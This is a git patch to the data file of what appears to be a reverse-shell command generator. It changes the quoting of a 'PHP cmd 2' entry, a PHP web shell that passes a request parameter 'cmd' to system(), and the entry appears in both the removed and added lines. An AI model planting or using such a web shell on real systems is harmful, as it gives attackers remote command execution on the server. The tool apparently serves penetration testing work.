From 083e319dd5f206361b7e5bb34f280bb6e807cd4d Mon Sep 17 00:00:00 2001 From: tuxlu Date: Fri, 9 Feb 2024 21:11:41 +0100 Subject: [PATCH] use uniform quotes on "PHP cmd 2" payload minor inconvenience, but copying this particular payload from a bash shell is tedious because it mixes single and double quotes (`"`/`'`) use only double quotes. --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index beef7b8..057cebe 100644 --- a/js/data.js +++ b/js/data.js @@ -158,7 +158,7 @@ const reverseShellCommands = withCommandType( }, { "name": "PHP cmd 2", - "command": "\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"<\/pre>\"; die; }?>", + "command": "\"; $cmd = ($_REQUEST[\"cmd\"]); system($cmd); echo \"<\/pre>\"; die; }?>", "meta": ["linux", "windows", "mac"] }, {